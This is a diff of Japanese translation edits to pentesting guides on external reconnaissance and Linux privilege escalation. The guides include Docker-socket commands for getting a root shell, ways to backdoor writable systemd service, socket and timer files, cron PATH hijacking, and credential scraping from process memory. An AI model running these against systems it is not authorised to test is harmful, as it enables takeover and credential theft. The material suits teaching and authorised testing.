+**DNS**レコードから**サブドメイン**を取得しようとしましょう。**ゾーン転送**も試みるべきです(脆弱な場合は報告する必要があります)。
```bash
dnsrecon -a -d tesla.com
```
@@ -252,13 +252,13 @@ theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferov
```
他にも**興味深いツール/API**があり、サブドメインの発見に特化していなくてもサブドメインを見つけるのに役立つことがあります。例えば:
-- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** API [https://sonar.omnisint.io](https://sonar.omnisint.io)を使用してサブドメインを取得します。
+- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** API [https://sonar.omnisint.io](https://sonar.omnisint.io) を使用してサブドメインを取得します。
```bash
# Get list of subdomains in output from the API
## This is the API the crobat tool will use
curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]"
```
-- [**JLDC free API**](https://jldc.me/anubis/subdomains/google.com)
+- [**JLDC無料API**](https://jldc.me/anubis/subdomains/google.com)
```bash
curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]"
```
@@ -389,13 +389,13 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
#### スマートな順列生成
-- [**regulator**](https://github.com/cramppet/regulator): 詳細についてはこの[**投稿**](https://cramppet.github.io/regulator/index.html)を読んでくださいが、基本的には**発見されたサブドメイン**から**主要な部分**を取得し、それらを混ぜてより多くのサブドメインを見つけます。
+- [**regulator**](https://github.com/cramppet/regulator): 詳細についてはこの[**投稿**](https://cramppet.github.io/regulator/index.html)を読んでくださいが、基本的には**発見されたサブドメイン**の**主要部分**を取得し、それらを混ぜてより多くのサブドメインを見つけます。
```bash
python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
-- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ は、非常にシンプルで効果的なDNS応答ガイドアルゴリズムと組み合わされたサブドメインブルートフォースファズァです。提供された入力データセット(カスタマイズされた単語リストや過去のDNS/TLSレコードなど)を利用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集された情報に基づいてさらにループで拡張します。
+- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ は、非常にシンプルで効果的なDNS応答ガイドアルゴリズムと組み合わされたサブドメインブルートフォースファズァです。提供された入力データセット(カスタマイズされた単語リストや過去のDNS/TLSレコードなど)を利用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集した情報に基づいてさらにループで拡張します。
```
echo www | subzuf facebook.com
```
@@ -436,11 +436,11 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
VHostScan -t example.com
```
> [!NOTE]
-> この技術を使用すると、内部/隠れたエンドポイントにアクセスできる場合があります。
+> この技術を使うことで、内部/隠れたエンドポイントにアクセスできる場合があります。
### **CORSブルートフォース**
-時々、_**Origin**_ ヘッダーに有効なドメイン/サブドメインが設定されているときにのみ、_**Access-Control-Allow-Origin**_ ヘッダーを返すページを見つけることがあります。このようなシナリオでは、この動作を悪用して新しい**サブドメイン**を**発見**することができます。
+時々、_**Origin**_ ヘッダーに有効なドメイン/サブドメインが設定されている場合にのみ、_**Access-Control-Allow-Origin**_ ヘッダーを返すページを見つけることがあります。このようなシナリオでは、この動作を悪用して新しい**サブドメイン**を**発見**することができます。
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
@@ -458,15 +458,15 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
可能な[**サブドメインテイクオーバー**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)を確認してください。\
もし**サブドメイン**が**S3バケット**に**ポイント**している場合は、[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/index.html)してください。
-もし**資産発見**で見つけたものとは異なるIPを持つ**サブドメイン**を見つけた場合は、**基本的な脆弱性スキャン**(NessusやOpenVASを使用)と、**nmap/masscan/shodan**を使った[**ポートスキャン**](../pentesting-network/index.html#discovering-hosts-from-the-outside)を実行するべきです。実行中のサービスによっては、**この本の中でそれらを「攻撃」するためのいくつかのトリックを見つけることができます。**\
-_Noteとして、時にはサブドメインがクライアントによって制御されていないIP内にホストされていることがあるため、スコープ外であることに注意してください。_
+もし**異なるIPを持つサブドメイン**を見つけた場合は、**基本的な脆弱性スキャン**(NessusやOpenVASを使用)と、**ポートスキャン**(**nmap/masscan/shodan**を使用)を実行する必要があります。実行中のサービスによっては、**この本の中で「攻撃」するためのいくつかのトリックを見つけることができます**。\
+_サブドメインがクライアントによって制御されていないIP内にホストされている場合があるため、スコープ外であることに注意してください。_
## IPs
-初期のステップで**いくつかのIP範囲、ドメイン、サブドメイン**を**見つけたかもしれません。**\
-これらの範囲から**すべてのIPを収集する**時です。また、**ドメイン/サブドメイン(DNSクエリ)**のために。
+初期のステップで**いくつかのIP範囲、ドメイン、サブドメイン**を**見つけたかもしれません**。\
+これらの範囲から**すべてのIPを収集**し、**ドメイン/サブドメイン(DNSクエリ)**のための時間です。
-以下の**無料API**のサービスを使用すると、**ドメインやサブドメインによって使用された以前のIP**も見つけることができます。これらのIPはまだクライアントに所有されている可能性があり、[**CloudFlareバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つける手助けになるかもしれません。
+以下の**無料API**のサービスを使用すると、**ドメインとサブドメインによって使用された以前のIP**も見つけることができます。これらのIPはまだクライアントによって所有されている可能性があり、[**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つける手助けになるかもしれません。
- [**https://securitytrails.com/**](https://securitytrails.com/)
@@ -474,19 +474,19 @@ _Noteとして、時にはサブドメインがクライアントによっ
### **脆弱性の検索**
-**CDNに属さないすべてのIPをポートスキャン**してください(そこでは興味深いものは見つからない可能性が高いです)。発見された実行中のサービスでは、**脆弱性を見つけることができるかもしれません。**
+**CDNに属さないすべてのIPをポートスキャン**してください(そこでは興味深いものは見つからない可能性が高いです)。発見された実行中のサービスでは、**脆弱性を見つけることができるかもしれません**。
**ホストをスキャンする方法に関する**[**ガイド**](../pentesting-network/index.html)を見つけてください。
## ウェブサーバーハンティング
-> すべての企業とその資産を見つけ、スコープ内のIP範囲、ドメイン、サブドメインを知っています。ウェブサーバーを探す時です。
+> すべての企業とその資産を見つけ、スコープ内のIP範囲、ドメイン、サブドメインを知っています。ウェブサーバーを探す時間です。
-前のステップで、**発見されたIPやドメインのリコン**をすでに実行している可能性があるため、**すべての可能なウェブサーバーをすでに見つけているかもしれません。**しかし、見つけていない場合は、スコープ内のウェブサーバーを探すための**迅速なトリック**を見ていきます。
+前のステップで、**発見されたIPとドメインのリコン**をすでに実行している可能性があるため、**すべての可能なウェブサーバーをすでに見つけているかもしれません**。しかし、見つけていない場合は、スコープ内のウェブサーバーを探すための**迅速なトリック**を見ていきます。
-これは**ウェブアプリの発見**に向けられているため、**脆弱性**と**ポートスキャン**も実行するべきです(**スコープによって許可されている場合**)。
+これは**ウェブアプリの発見**に**特化**しているため、**脆弱性**と**ポートスキャン**も実行する必要があります(**スコープによって許可されている場合**)。
-**ウェブ**サーバーに関連する**オープンポート**を発見するための**迅速な方法**は、[**masscan**を使用することができます。](../pentesting-network/index.html#http-port-discovery)\
+**ウェブ**サーバーに関連する**オープンポート**を発見するための**迅速な方法**は、[**masscan**を使用することができます](../pentesting-network/index.html#http-port-discovery)。\
ウェブサーバーを探すためのもう一つの便利なツールは、[**httprobe**](https://github.com/tomnomnom/httprobe)**、**[**fprobe**](https://github.com/theblackturtle/fprobe)および[**httpx**](https://github.com/projectdiscovery/httpx)です。ドメインのリストを渡すだけで、ポート80(http)と443(https)に接続しようとします。さらに、他のポートを試すように指示することもできます:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
@@ -494,11 +494,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
```
### **スクリーンショット**
-すべての**ウェブサーバー**を発見したので、どこから始めるべきか**わからない**かもしれません。そこで、シンプルにすべてのスクリーンショットを撮ることから始めましょう。**メインページ**を**見る**だけで、**脆弱性**が**ありそうな**奇妙なエンドポイントを見つけることができます。
+すべての**ウェブサーバー**を発見したので、どこから始めればよいかわからないかもしれません。そこで、シンプルにすべてのスクリーンショットを撮ることから始めましょう。**メインページ**を**見るだけ**で、**脆弱性**がある可能性の高い**奇妙な**エンドポイントを見つけることができます。
提案されたアイデアを実行するには、[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness)または[**webscreenshot**](https://github.com/maaaaz/webscreenshot)**を使用できます。**
-さらに、[**eyeballer**](https://github.com/BishopFox/eyeballer)を使用して、すべての**スクリーンショット**を確認し、**脆弱性を含む可能性が高い**ものとそうでないものを教えてもらうことができます。
+さらに、[**eyeballer**](https://github.com/BishopFox/eyeballer)を使用して、すべての**スクリーンショット**を確認し、**脆弱性を含む可能性が高いもの**とそうでないものを教えてもらうことができます。
## パブリッククラウド資産
@@ -512,13 +512,13 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
次に、それらの単語を使用して**順列**を生成する必要があります(詳細については[**第二ラウンドDNSブルートフォース**](#second-dns-bruteforce-round)を参照してください)。
-得られたワードリストを使用して、[**cloud_enum**](https://github.com/initstring/cloud_enum)**、** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **または** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**を使用できます。**
+生成されたワードリストを使用して、[**cloud_enum**](https://github.com/initstring/cloud_enum)**、** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **または** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**を使用できます。**
クラウド資産を探す際には、**AWSのバケットだけでなく、他のものも探す**べきです。
### **脆弱性の検索**
-**オープンバケットや公開されたクラウド機能**などを見つけた場合は、それに**アクセス**して、何を提供しているのか、そしてそれを悪用できるかどうかを確認するべきです。
+**オープンバケットや公開されたクラウド機能**などを見つけた場合は、それに**アクセスして**、何を提供しているのか、悪用できるかどうかを確認する必要があります。
## メール
@@ -531,7 +531,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### **脆弱性の検索**
-メールは、**ウェブログインや認証サービス**(SSHなど)を**ブルートフォース**する際に役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、フィッシングキャンペーンに役立つ、メールの背後にいる**人物に関する情報**を提供します。
+メールは、**ウェブログインや認証サービス**(SSHなど)を**ブルートフォース**する際に役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、メールの背後にいる**人物に関するさらなる情報**を提供してくれます。これはフィッシングキャンペーンに役立ちます。
## 資格情報の漏洩
@@ -546,14 +546,14 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
## 秘密の漏洩
-資格情報の漏洩は、**機密情報が漏洩し販売された**企業のハッキングに関連しています。ただし、企業は、これらのデータベースに情報がない**他の漏洩**の影響を受ける可能性があります:
+資格情報の漏洩は、**機密情報が漏洩して販売された**企業のハッキングに関連しています。ただし、企業は、これらのデータベースに情報がない**他の漏洩**の影響を受ける可能性があります:
### Githubの漏洩
資格情報やAPIは、**企業**やその**ユーザー**の**公開リポジトリ**で漏洩する可能性があります。\
**Leakos**という**ツール**を使用して、**組織**とその**開発者**のすべての**公開リポジトリ**を**ダウンロード**し、自動的に[**gitleaks**](https://github.com/zricethezav/gitleaks)を実行できます。
-**Leakos**は、提供された**URL**に対して**gitleaks**を実行するためにも使用でき、時には**ウェブページにも秘密が含まれている**ことがあります。
+**Leakos**は、提供された**URLに渡された**すべての**テキスト**に対して**gitleaks**を実行するためにも使用できます。時には**ウェブページにも秘密が含まれている**ことがあります。
#### Github Dorks
@@ -570,15 +570,15 @@ github-leaked-secrets.md
### Google Dorks
-古くても金の価値があるGoogle Dorksは、**そこにあるべきでない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)に、手動で実行できない**数千**の可能なクエリが含まれていることです。したがって、お気に入りの10個を取得するか、**[**Gorks**](https://github.com/carlospolop/Gorks)**のようなツールを使用してすべてを実行することができます。**
+古くても金の価値があるGoogle Dorksは、**そこにあるべきでない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)に、手動で実行できない**数千**の可能なクエリが含まれていることです。したがって、お気に入りの10個を取得するか、[**Gorks**](https://github.com/carlospolop/Gorks)のような**ツールを使用してすべてを実行**することができます。
-_すべてのデータベースを通常のGoogleブラウザを使用して実行しようとするツールは、非常に早くGoogleにブロックされるため、決して終わりません。_
+_すべてのデータベースを通常のGoogleブラウザを使用して実行しようとするツールは、非常に早くGoogleにブロックされるため、決して終わらないことに注意してください。_
### **脆弱性の検索**
**有効な漏洩した**資格情報やAPIトークンを見つけた場合、これは非常に簡単な勝利です。
-## パブリックコードの脆弱性
+## 公開コードの脆弱性
企業が**オープンソースコード**を持っていることがわかった場合、それを**分析**して**脆弱性**を探すことができます。
@@ -600,16 +600,16 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実
## 再確認
-> おめでとうございます!この時点で、**すべての基本的な列挙**をすでに実行しています。はい、これは基本的なものであり、さらに多くの列挙が可能です(後でさらにトリックを見ていきます)。
+> おめでとうございます!この時点で、**すべての基本的な列挙**をすでに実行しています。はい、これは基本的なもので、さらに多くの列挙が可能です(後でさらにトリックを見ていきます)。
-したがって、すでに以下のことを行っています:
+したがって、すでに次のことを行っています:
1. スコープ内のすべての**企業**を見つけた
2. 企業に属するすべての**資産**を見つけた(スコープ内で脆弱性スキャンを実行)
3. 企業に属するすべての**ドメイン**を見つけた
-4. ドメインのすべての**サブドメイン**を見つけた(サブドメインの乗っ取りは?)
+4. ドメインのすべての**サブドメイン**を見つけた(サブドメインの乗っ取りはありますか?)
5. スコープ内のすべての**IP**(CDNからのものとそうでないもの)を見つけた
-6. すべての**ウェブサーバー**を見つけ、それらの**スクリーンショット**を撮った(深く見る価値のある奇妙なものは?)
+6. すべての**ウェブサーバー**を見つけ、**スクリーンショット**を撮った(深く見る価値のある奇妙なものはありますか?)
7. 企業に属するすべての**潜在的なパブリッククラウド資産**を見つけた
8. **メール**、**資格情報の漏洩**、および**秘密の漏洩**があり、**非常に簡単に大きな勝利**を得ることができる
9. 見つけたすべてのウェブを**ペンテスト**
@@ -621,7 +621,7 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実
- [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
- [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
- [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
-- [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - 少し古く、更新されていない
+- [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - 少し古く、更新されていません
## **参考文献**
diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md
index 567652082..31e22eb9a 100644
--- a/src/linux-hardening/privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/README.md
@@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
-## System Information
+## システム情報
-### OS info
+### OS情報
OSの知識を得ることから始めましょう。
```bash
@@ -14,7 +14,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems
```
### Path
-もしあなたが `PATH` 変数内の任意のフォルダーに書き込み権限を持っている場合、いくつかのライブラリやバイナリをハイジャックできる可能性があります:
+もし**`PATH`**変数内の任意のフォルダーに書き込み権限がある場合、いくつかのライブラリやバイナリをハイジャックできる可能性があります:
```bash
echo $PATH
```
@@ -168,7 +168,7 @@ ps aux
ps -ef
top -n 1
```
-常に可能な [**electron/cef/chromium debuggers** が実行されているか確認してください。これを悪用して特権を昇格させることができます](electron-cef-chromium-debugger-abuse.md)。 **Linpeas** はプロセスのコマンドライン内の `--inspect` パラメータをチェックすることでそれらを検出します。\
+常に可能な [**electron/cef/chromiumデバッガー**]が実行されているか確認してください。これを悪用して特権を昇格させることができます](electron-cef-chromium-debugger-abuse.md)。 **Linpeas** は、プロセスのコマンドライン内の `--inspect` パラメータをチェックすることでそれらを検出します。\
また、**プロセスのバイナリに対する特権を確認してください**。もしかしたら誰かを上書きできるかもしれません。
### プロセス監視
@@ -177,14 +177,14 @@ top -n 1
### プロセスメモリ
-サーバーのいくつかのサービスは、**メモリ内に平文で資格情報を保存します**。\
+サーバーのいくつかのサービスは、**メモリ内にクリアテキストで資格情報を保存します**。\
通常、他のユーザーに属するプロセスのメモリを読むには**root特権**が必要です。したがって、これは通常、すでにrootであり、さらに多くの資格情報を発見したいときにより有用です。\
ただし、**通常のユーザーとしては、自分が所有するプロセスのメモリを読むことができることを忘れないでください**。
> [!WARNING]
> 現在、ほとんどのマシンは**デフォルトでptraceを許可していない**ため、特権のないユーザーに属する他のプロセスをダンプすることはできません。
>
-> ファイル _**/proc/sys/kernel/yama/ptrace_scope**_ はptraceのアクセス可能性を制御します:
+> ファイル _**/proc/sys/kernel/yama/ptrace_scope**_ は、ptraceのアクセス可能性を制御します:
>
> - **kernel.yama.ptrace_scope = 0**: 同じuidを持つ限り、すべてのプロセスをデバッグできます。これはptracingが機能していた古典的な方法です。
> - **kernel.yama.ptrace_scope = 1**: 親プロセスのみがデバッグできます。
@@ -288,16 +288,16 @@ strings *.dump | grep -i password
```
#### mimipenguin
-ツール [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) は **メモリからの平文の資格情報を盗む** ことができ、いくつかの **よく知られたファイル** からも取得します。正しく動作するには root 権限が必要です。
+ツール [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) は **メモリから平文の認証情報を盗む** ことができ、いくつかの **よく知られたファイル** からも情報を取得します。正しく動作するには root 権限が必要です。
-| 機能 | プロセス名 |
-| ------------------------------------------------ | -------------------- |
-| GDM パスワード (Kali デスクトップ、Debian デスクトップ) | gdm-password |
-| Gnome Keyring (Ubuntu デスクトップ、ArchLinux デスクトップ) | gnome-keyring-daemon |
-| LightDM (Ubuntu デスクトップ) | lightdm |
-| VSFTPd (アクティブ FTP 接続) | vsftpd |
-| Apache2 (アクティブ HTTP ベーシック認証セッション) | apache2 |
-| OpenSSH (アクティブ SSH セッション - Sudo 使用) | sshd: |
+| 機能 | プロセス名 |
+| ------------------------------------------------ | --------------------- |
+| GDM パスワード (Kali デスクトップ, Debian デスクトップ) | gdm-password |
+| Gnome キーチェーン (Ubuntu デスクトップ, ArchLinux デスクトップ) | gnome-keyring-daemon |
+| LightDM (Ubuntu デスクトップ) | lightdm |
+| VSFTPd (アクティブ FTP 接続) | vsftpd |
+| Apache2 (アクティブ HTTP ベーシック認証セッション) | apache2 |
+| OpenSSH (アクティブ SSH セッション - Sudo 使用) | sshd: |
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
```bash
@@ -315,7 +315,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
```
## Scheduled/Cron jobs
-スケジュールされたジョブが脆弱であるか確認してください。ルートによって実行されるスクリプトを利用できるかもしれません(ワイルドカードの脆弱性?ルートが使用するファイルを変更できますか?シンボリックリンクを使用しますか?ルートが使用するディレクトリに特定のファイルを作成しますか?)。
+スケジュールされたジョブが脆弱であるか確認してください。もしかしたら、rootによって実行されるスクリプトを利用できるかもしれません(ワイルドカードの脆弱性?rootが使用するファイルを変更できる?シンボリックリンクを使用する?rootが使用するディレクトリに特定のファイルを作成する?)。
```bash
crontab -l
ls -al /etc/cron* /etc/at*
@@ -325,7 +325,7 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul
例えば、_ /etc/crontab _の中にPATHが見つかります: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
-(_ユーザー"user"が/home/userに対して書き込み権限を持っていることに注意してください_)
+(_ユーザー「user」が/home/userに対して書き込み権限を持っていることに注意してください_)
このcrontabの中で、rootユーザーがパスを設定せずにコマンドやスクリプトを実行しようとするとします。例えば: _\* \* \* \* root overwrite.sh_\
その場合、次のようにしてrootシェルを取得できます:
@@ -342,7 +342,7 @@ rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh mys
```
**パスが** _**/some/path/\***_ **のようにワイルドカードの前にある場合、それは脆弱ではありません(** _**./\***_ **もそうです)。**
-ワイルドカードの悪用トリックについては、以下のページを参照してください:
+次のページを読んで、さらにワイルドカードの悪用トリックを学んでください:
{{#ref}}
wildcards-spare-tricks.md
@@ -368,7 +368,7 @@ ln -d -s
```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```
-**あなたはまた** [**pspy**](https://github.com/DominicBreuker/pspy/releases) **を使用できます**(これは開始されるすべてのプロセスを監視してリストします)。
+**あなたはまた** [**pspy**](https://github.com/DominicBreuker/pspy/releases) **を使用できます** (これは開始されるすべてのプロセスを監視してリストします)。
### 見えないcronジョブ
@@ -380,12 +380,12 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### 書き込み可能な _.service_ ファイル
-任意の `.service` ファイルに書き込むことができるか確認してください。できる場合は、それを**変更して**サービスが**開始**、**再起動**、または**停止**されたときに**バックドアを実行**するようにできます(マシンが再起動されるまで待つ必要があるかもしれません)。\
-例えば、.service ファイル内にバックドアを作成し、**`ExecStart=/tmp/script.sh`** とします。
+任意の `.service` ファイルに書き込むことができるか確認してください。できる場合は、それを**修正して**サービスが**開始**、**再起動**、または**停止**されたときに**バックドアを実行**するようにできます(マシンが再起動されるまで待つ必要があるかもしれません)。\
+例えば、`.service` ファイル内にバックドアを作成し、**`ExecStart=/tmp/script.sh`** とします。
### 書き込み可能なサービスバイナリ
-サービスによって実行されるバイナリに**書き込み権限**がある場合、それらをバックドアに変更できることを念頭に置いてください。そうすれば、サービスが再実行されるとバックドアが実行されます。
+サービスによって実行されるバイナリに**書き込み権限**がある場合、それらをバックドアに変更することができるため、サービスが再実行されるとバックドアが実行されます。
### systemd PATH - 相対パス
@@ -413,18 +413,18 @@ systemctl list-timers --all
```
### Writable timers
-タイマーを変更できる場合、systemd.unitのいくつかのインスタンス(`.service`や`.target`など)を実行させることができます。
+タイマーを変更できる場合、systemd.unitのいくつかの実行を実行させることができます(例えば、`.service`や`.target`)。
```bash
Unit=backdoor.service
```
ドキュメントでは、Unitについて次のように説明されています:
-> このタイマーが経過したときにアクティブにするユニット。引数はユニット名で、接尾辞は「.timer」ではありません。指定されていない場合、この値はタイマーユニットと同じ名前のサービスにデフォルト設定されます(接尾辞を除く)。(上記を参照。)アクティブにされるユニット名とタイマーユニットのユニット名は、接尾辞を除いて同一の名前にすることが推奨されます。
+> このタイマーが経過したときにアクティブにするユニット。引数はユニット名で、接尾辞は ".timer" ではありません。指定されていない場合、この値はタイマーユニットと同じ名前のサービスにデフォルト設定されます(上記参照)。アクティブにされるユニット名とタイマーユニットのユニット名は、接尾辞を除いて同一の名前にすることが推奨されます。
したがって、この権限を悪用するには、次のことが必要です:
-- **書き込み可能なバイナリを実行している**systemdユニット(例えば、`.service`)を見つける
-- **相対パスを実行している**systemdユニットを見つけ、**systemd PATH**に対して**書き込み権限**を持つ(その実行可能ファイルを偽装するため)
+- **書き込み可能なバイナリを実行している** systemdユニット(例えば `.service`)を見つける
+- **相対パスを実行している** systemdユニットを見つけ、**systemd PATH**に対して**書き込み権限**を持つ(その実行可能ファイルを偽装するため)
**タイマーについて詳しくは `man systemd.timer` を参照してください。**
@@ -446,15 +446,15 @@ Unixドメインソケット(UDS)は、クライアント-サーバーモデ
**`man systemd.socket`でソケットについてさらに学びましょう。** このファイル内では、いくつかの興味深いパラメータを設定できます:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: これらのオプションは異なりますが、**ソケットがリッスンする場所を示すために要約が使用されます**(AF_UNIXソケットファイルのパス、リッスンするIPv4/6および/またはポート番号など)。
-- `Accept`: ブール引数を取ります。**true**の場合、**各接続ごとにサービスインスタンスが生成され**、接続ソケットのみがそれに渡されます。**false**の場合、すべてのリッスンソケット自体が**開始されたサービスユニットに渡され**、すべての接続に対して1つのサービスユニットが生成されます。この値は、単一のサービスユニットが無条件にすべての受信トラフィックを処理するデータグラムソケットおよびFIFOでは無視されます。**デフォルトはfalse**です。パフォーマンスの理由から、`Accept=no`に適した方法でのみ新しいデーモンを書くことを推奨します。
+- `Accept`: ブール引数を取ります。**true**の場合、**各接続ごとにサービスインスタンスが生成され**、接続ソケットのみがそれに渡されます。**false**の場合、すべてのリッスンソケット自体が**開始されたサービスユニットに渡され**、すべての接続に対して1つのサービスユニットが生成されます。この値は、単一のサービスユニットが無条件にすべての受信トラフィックを処理するデータグラムソケットおよびFIFOでは無視されます。**デフォルトはfalse**です。パフォーマンスの理由から、`Accept=no`に適した方法でのみ新しいデーモンを書くことが推奨されます。
- `ExecStartPre`, `ExecStartPost`: リッスンする**ソケット**/FIFOが**作成**され、バインドされる前または後に**実行される**1つ以上のコマンドラインを取ります。コマンドラインの最初のトークンは絶対ファイル名でなければならず、その後にプロセスの引数が続きます。
- `ExecStopPre`, `ExecStopPost`: リッスンする**ソケット**/FIFOが**閉じられ**、削除される前または後に**実行される**追加の**コマンド**です。
- `Service`: **受信トラフィック**で**アクティブ化**する**サービス**ユニット名を指定します。この設定は、Accept=noのソケットにのみ許可されます。デフォルトでは、ソケットと同じ名前のサービス(サフィックスが置き換えられたもの)になります。ほとんどの場合、このオプションを使用する必要はありません。
### 書き込み可能な.socketファイル
-**書き込み可能な**`.socket`ファイルを見つけた場合、`[Socket]`セクションの最初に`ExecStartPre=/home/kali/sys/backdoor`のようなものを**追加**できます。そうすると、ソケットが作成される前にバックドアが実行されます。したがって、**マシンが再起動されるまで待つ必要があるかもしれません。**\
-_システムがそのソケットファイルの構成を使用している必要があり、さもなければバックドアは実行されません。_
+**書き込み可能な**`.socket`ファイルを見つけた場合、`[Socket]`セクションの最初に`ExecStartPre=/home/kali/sys/backdoor`のようなものを**追加**できます。そうすると、ソケットが作成される前にバックドアが実行されます。したがって、**マシンが再起動されるまで待つ必要があるでしょう。**\
+_システムがそのソケットファイルの構成を使用している必要があり、さもなければバックドアは実行されません_
### 書き込み可能なソケット
@@ -481,7 +481,7 @@ socket-command-injection.md
### HTTPソケット
-HTTPリクエストをリッスンしている**ソケットがあるかもしれません**(_私は.socketファイルではなく、Unixソケットとして機能するファイルについて話しています_)。これを確認するには、次のコマンドを使用できます:
+HTTPリクエストをリッスンしている**ソケットが存在する可能性がある**ことに注意してください(_私は.socketファイルではなく、unixソケットとして機能するファイルについて話しています_)。これを確認するには、次のコマンドを使用できます:
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
@@ -489,11 +489,11 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
### 書き込み可能なDockerソケット
-Dockerソケットは、通常`/var/run/docker.sock`に見られる重要なファイルであり、保護されるべきです。デフォルトでは、`root`ユーザーと`docker`グループのメンバーが書き込み可能です。このソケットへの書き込みアクセスを持つことは、特権昇格につながる可能性があります。これを行う方法の概要と、Docker CLIが利用できない場合の代替方法を以下に示します。
+Dockerソケットは、通常`/var/run/docker.sock`に見られる重要なファイルであり、保護されるべきです。デフォルトでは、`root`ユーザーと`docker`グループのメンバーが書き込み可能です。このソケットへの書き込みアクセスを持つことは、特権昇格につながる可能性があります。これを行う方法と、Docker CLIが利用できない場合の代替手段の概要は以下の通りです。
#### **Docker CLIを使用した特権昇格**
-Dockerソケットへの書き込みアクセスがある場合、次のコマンドを使用して特権を昇格させることができます:
+Dockerソケットへの書き込みアクセスがある場合、以下のコマンドを使用して特権を昇格させることができます:
```bash
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
@@ -546,7 +546,7 @@ docker-security/
## Containerd (ctr) 特権昇格
-**`ctr`**コマンドを使用できる場合は、**特権を昇格させるために悪用できるかもしれないので、以下のページを読んでください**:
+**`ctr`**コマンドを使用できる場合は、以下のページを読んでください。**特権を昇格させるために悪用できるかもしれません**:
{{#ref}}
containerd-ctr-privilege-escalation.md
@@ -554,7 +554,7 @@ containerd-ctr-privilege-escalation.md
## **RunC** 特権昇格
-**`runc`**コマンドを使用できる場合は、**特権を昇格させるために悪用できるかもしれないので、以下のページを読んでください**:
+**`runc`**コマンドを使用できる場合は、以下のページを読んでください。**特権を昇格させるために悪用できるかもしれません**:
{{#ref}}
runc-privilege-escalation.md
@@ -568,9 +568,9 @@ D-Busは、アプリケーションが効率的に相互作用し、データを
